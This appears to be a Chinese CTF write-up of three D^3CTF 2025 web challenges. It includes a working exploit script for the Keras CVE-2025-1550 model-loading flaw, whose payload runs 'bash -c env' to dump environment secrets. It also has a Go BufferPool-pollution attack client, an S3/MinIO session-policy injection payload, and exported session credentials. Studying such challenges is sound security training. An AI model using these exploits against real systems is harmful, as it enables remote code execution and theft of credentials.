d3model 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import kerasfrom flask import Flask, request, jsonifyimport osdef is_valid_model (modelname ): try : keras.models.load_model(modelname) except : return False return True app = Flask(__name__) @app.route('/' , methods=['GET' ] ) def index (): return open ('index.html' ).read() @app.route('/upload' , methods=['POST' ] ) def upload_file (): if 'file' not in request.files: return jsonify({'error' : 'No file part' }), 400 file = request.files['file' ] if file.filename == '' : return jsonify({'error' : 'No selected file' }), 400 MAX_FILE_SIZE = 50 * 1024 * 1024 file.seek(0 , os.SEEK_END) file_size = file.tell() file.seek(0 ) if file_size > MAX_FILE_SIZE: return jsonify({'error' : 'File size exceeds 50MB limit' }), 400 filepath = os.path.join('./' , 'test.keras' ) if os.path.exists(filepath): os.remove(filepath) file.save(filepath) if is_valid_model(filepath): return jsonify({'message' : 'Model is valid' }), 200 else : return jsonify({'error' : 'Invalid model file' }), 400 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
requirements告诉我们keras==3.8.0,查了一下发现存在CVE漏洞。
cve-2025-1550
,可以参考如下文章复现:
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
这里直接给出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import zipfileimport jsonfrom keras.models import Sequentialfrom keras.layers import Denseimport numpy as npimport osmodel_name = "model.keras" x_train = np.random.rand(100 , 28 * 28 ) y_train = np.random.rand(100 ) model = Sequential([Dense(1 , activation='linear' , input_dim=28 * 28 )]) model.compile (optimizer='adam' , loss='mse' ) model.fit(x_train, y_train, epochs=5 ) model.save(model_name) with zipfile.ZipFile(model_name, "r" ) as f: config = json.loads(f.read("config.json" ).decode()) config["config" ]["layers" ][0 ]["module" ] = "keras.models" config["config" ]["layers" ][0 ]["class_name" ] = "Model" config["config" ]["layers" ][0 ]["config" ] = { "name" : "mvlttt" , "layers" : [ { "name" : "mvlttt" , "class_name" : "function" , "config" : "Popen" , "module" : "subprocess" , "inbound_nodes" : [{"args" : [["bash" , "-c" , "env > index.html" ]], "kwargs" : {"bufsize" : -1 }}] }], "input_layers" : [["mvlttt" , 0 , 0 ]], "output_layers" : [["mvlttt" , 0 , 0 ]] } with zipfile.ZipFile(model_name, 'r' ) as zip_read: with zipfile.ZipFile(f"tmp.{model_name} " , 'w' ) as zip_write: for item in zip_read.infolist(): if item.filename != "config.json" : zip_write.writestr(item, zip_read.read(item.filename)) os.remove(model_name) os.rename(f"tmp.{model_name} " , model_name) with zipfile.ZipFile(model_name, "a" ) as zf: zf.writestr("config.json" , json.dumps(config)) print ("[+] Malicious model ready" )
这里不出网,我们写文件就行。直接写到index.html后刷新一下即可。
tidy quic 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 package mainimport ( "bytes" "errors" "github.com/libp2p/go-buffer-pool" "github.com/quic-go/quic-go/http3" "io" "log" "net/http" "os" ) var p pool.BufferPoolvar ErrWAF = errors.New("WAF" )func main () { go func () { err := http.ListenAndServeTLS(":8080" , "./server.crt" , "./server.key" , &mux{}) log.Fatalln(err) }() go func () { err := http3.ListenAndServeQUIC(":8080" , "./server.crt" , "./server.key" , &mux{}) log.Fatalln(err) }() select {} } type mux struct {} func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodGet { _, _ = w.Write([]byte ("Hello D^3CTF 2025,I'm tidy quic in web." )) return } if r.Method != http.MethodPost { w.WriteHeader(400 ) return } var buf []byte length := int (r.ContentLength) if length == -1 { var err error buf, err = io.ReadAll(textInterrupterWrap(r.Body)) if err != nil { if errors.Is(err, ErrWAF) { w.WriteHeader(400 ) _, _ = w.Write([]byte ("WAF" )) } else { w.WriteHeader(500 ) _, _ = w.Write([]byte ("error" )) } return } } else { buf = p.Get(length) defer p.Put(buf) rd := textInterrupterWrap(r.Body) i := 0 for { n, err := rd.Read(buf[i:]) if err != nil { if errors.Is(err, io.EOF) { break } else if errors.Is(err, ErrWAF) { w.WriteHeader(400 ) _, _ = w.Write([]byte ("WAF" )) return } else { w.WriteHeader(500 ) _, _ = w.Write([]byte ("error" )) return } } i += n } } if !bytes.HasPrefix(buf, []byte ("I want" )) { _, _ = w.Write([]byte ("Sorry I'm not clear what you want." )) return } item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte ("I want" ))) if bytes.Equal(item, []byte ("flag" )) { _, _ = w.Write([]byte (os.Getenv("FLAG" ))) } else { _, _ = w.Write(item) } } type wrap struct { io.ReadCloser ban []byte idx int } func (w *wrap) Read(p []byte ) (int , error ) { n, err := w.ReadCloser.Read(p) if err != nil && !errors.Is(err, io.EOF) { return n, err } for i := 0 ; i < n; i++ { if p[i] == w.ban[w.idx] { w.idx++ if w.idx == len (w.ban) { return n, ErrWAF } } else { w.idx = 0 } } return n, err } func textInterrupterWrap (rc io.ReadCloser) io.ReadCloser { return &wrap{ rc, []byte ("flag" ), 0 , } }
这里主要的思考点在于I want
后怎么加上flag
,有WAF存在。
这里注意到BufferPool的存在,存在BufferPool的内存复用。
先是利用发送123456flag
,再发送I want
,由于BufferPool没有清空,使I want
覆盖掉之前的123456
,从而构造出I wantflag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 package mainimport ( "bytes" "crypto/tls" "fmt" "io" "log" "net/http" "sync" "time" quic "github.com/quic-go/quic-go" "github.com/quic-go/quic-go/http3" ) const ( targetURL = "https://35.220.136.70:31779" polluteData = "111111flag" realPayload = "I want" ) func main () { client := &http.Client{ Transport: &http3.RoundTripper{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true , NextProtos: []string {"h3" }, }, QUICConfig: &quic.Config{ MaxIncomingStreams: 1000 , }, }, Timeout: 15 * time.Second, } defer client.CloseIdleConnections() var wg sync.WaitGroup fmt.Println("[*] 启动HTTP/3缓冲池污染攻击..." ) start := time.Now() for i := 0 ; i < 200 ; i++ { wg.Add(1 ) go func () { defer wg.Done() req, _ := http.NewRequest("POST" , targetURL, bytes.NewBufferString(polluteData)) client.Do(req) }() } wg.Wait() fmt.Printf("[*] 污染完成 (耗时: %v)\n[*] 触发组合攻击...\n" , time.Since(start)) time.Sleep(800 * time.Millisecond) body := io.NopCloser(bytes.NewReader([]byte (realPayload))) req, _ := http.NewRequest("POST" , targetURL, body) req.ContentLength = 10 resp, err := client.Do(req) if err != nil { log.Fatalf("请求失败: %v" , err) } defer resp.Body.Close() response, _ := io.ReadAll(resp.Body) if bytes.Contains(response, []byte ("FLAG" )) { fmt.Printf("[+] 攻击成功! 状态码: %d\nFLAG: %s\n" , resp.StatusCode, extractFlag(response)) } else { fmt.Printf("[-] 攻击失败 状态码: %d\n响应: %s\n" , resp.StatusCode, truncate(string (response))) } } func extractFlag (data []byte ) string { flagStart := bytes.Index(data, []byte ("FLAG{" )) if flagStart == -1 { return "" } return string (data[flagStart : bytes.IndexByte(data[flagStart:], '}' )+1 ]) } func truncate (s string ) string { if len (s) > 100 { return s[:100 ] + "..." } return s }
1 d3ctf{YOu-sAld_RlGhT-BUt-y0u-sH0Uld_p1Ay-G3nsH1n_imPact2}
d3invitation 功能是输入id与上传照片创建邀请函
先看看前端js源码,tools.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 function generateInvitation (user_id, avatarFile ) { if (avatarFile) { object_name = avatarFile.name ; genSTSCreds (object_name) .then (credsData => { return putAvatar ( credsData.access_key_id , credsData.secret_access_key , credsData.session_token , object_name, avatarFile ).then (() => { navigateToInvitation ( user_id, credsData.access_key_id , credsData.secret_access_key , credsData.session_token , object_name ) }) }) .catch (error => { console .error ('Error generating STS credentials or uploading avatar:' , error); }); } else { navigateToInvitation (user_id); } } function navigateToInvitation (user_id, access_key_id, secret_access_key, session_token, object_name ) { let url = `invitation?user_id=${encodeURIComponent (user_id)} ` ; if (access_key_id) { url += `&access_key_id=${encodeURIComponent (access_key_id)} ` ; } if (secret_access_key) { url += `&secret_access_key=${encodeURIComponent (secret_access_key)} ` ; } if (session_token) { url += `&session_token=${encodeURIComponent (session_token)} ` ; } if (object_name) { url += `&object_name=${encodeURIComponent (object_name)} ` ; } window .location .href = url; } function genSTSCreds (object_name ) { return new Promise ((resolve, reject ) => { const genSTSJson = { "object_name" : object_name } fetch ('/api/genSTSCreds' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify (genSTSJson) }) .then (response => { if (!response.ok ) { throw new Error ('Network response was not ok' ); } return response.json (); }) .then (data => { resolve (data); }) .catch (error => { reject (error); }); }); } function getAvatarUrl (access_key_id, secret_access_key, session_token, object_name ) { return `/api/getObject?access_key_id=${encodeURIComponent (access_key_id)} &secret_access_key=${encodeURIComponent (secret_access_key)} &session_token=${encodeURIComponent (session_token)} &object_name=${encodeURIComponent (object_name)} ` } function putAvatar (access_key_id, secret_access_key, session_token, object_name, avatar ) { return new Promise ((resolve, reject ) => { const formData = new FormData (); formData.append ('access_key_id' , access_key_id); formData.append ('secret_access_key' , secret_access_key); formData.append ('session_token' , session_token); formData.append ('object_name' , object_name); formData.append ('avatar' , avatar); fetch ('/api/putObject' , { method : 'POST' , body : formData }) .then (response => { if (!response.ok ) { throw new Error ('Network response was not ok' ); } return response.json (); }) .then (data => { resolve (data); }) .catch (error => { reject (error); }); }); }
发现存在三个接口/api/genSTSCreds
,/api/getObject
,/api/putObject
,第一眼感觉像是云安全,给了ak、sk,是AWS S3 云存储桶
代码中的 genSTSCreds
和 putAvatar
函数使用了 access_key_id
、secret_access_key
和 session_token
,这符合AWS STS(Security Token Service)的临时凭证机制,通常用于AWS S3存储桶的访问控制
获取了一大串session_token
,是jwt,直接解码看看。
发现有输入的部分内容存在,猜测可以进行RAM策略注入
https://forum.butian.net/share/4340
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/test.txt"]}]} { "Version": "2012-10-17", // 策略语法版本(固定值) "Statement": [ // 权限声明列表 { "Effect": "Allow", // 允许操作(Deny表示拒绝) "Action": [ // 允许的具体操作 "s3:GetObject", // 允许下载对象 "s3:PutObject" // 允许上传对象 ], "Resource": [ // 作用的目标资源 "arn:aws:s3:::d3invitation/test.txt" // 资源ARN(Amazon Resource Name) ] } ] }
发现是IAM 策略,一种通过Json控制的,比ACL更加精确的权限控制
先举个例子:
1 2 3 4 5 6 当我们输入: aaa"]},{"effect": "allow","action":[""],"resource":["qcs::cos:","qcs::cvm:* RAM策略就是 {"version":"2.0","statement":[{"effect":"allow","action":["name/cos:PutObject","name/cos:PostObject","name/cos:DeleteObject","name/cos:InitiateMultipartUpload","name/cos:UploadPart","name/cos:CompleteMultipartUpload","name/cos:AbortMultipartUpload"],"resource":["qcs::cos:ap-guangzhou:uid/1304445672:prefix//1304445672/teach/1000001/aaaa/upload/aaa"]},{"effect": "allow","action":[""],"resource":["qcs::cos:","qcs::cvm:*"]}]}
因此,接下来我们构造一下object_name
。
1 {"object_name":"*\"]},{\"Effect\": \"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}
由于题目环境是一个基于Apache License v2.0开源协议的对象存储服务 ,用mc这个工具https://github.com/minio/mc
1 export MC_HOST_d3invitation="http://7VJGQUHVNUIAA2M2AT1B:XRgS6+RMFpG2gvjaySCt12owIztkc5kNo4O3tHUN:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI3VkpHUVVIVk5VSUFBMk0yQVQxQiIsImV4cCI6MTc0ODg5MjUwOSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZVSFYwVDJKcVpXTjBJaXdpY3pNNlIyVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.6d7BfnPorhh7dL79V5HCs0Cw8SP2yJwXKw9sEz_JX8z80xZDqTKVJvECkZJVxcQEEHU6vIqhH2YdLmNCrPe9pA@35.241.98.126:30121"
拿捏了已经。
1 d3ctf{l-tHINK_w3_H@vE-3NCOUnT3R3D_pO11cy_1nJ3CT10n?l33}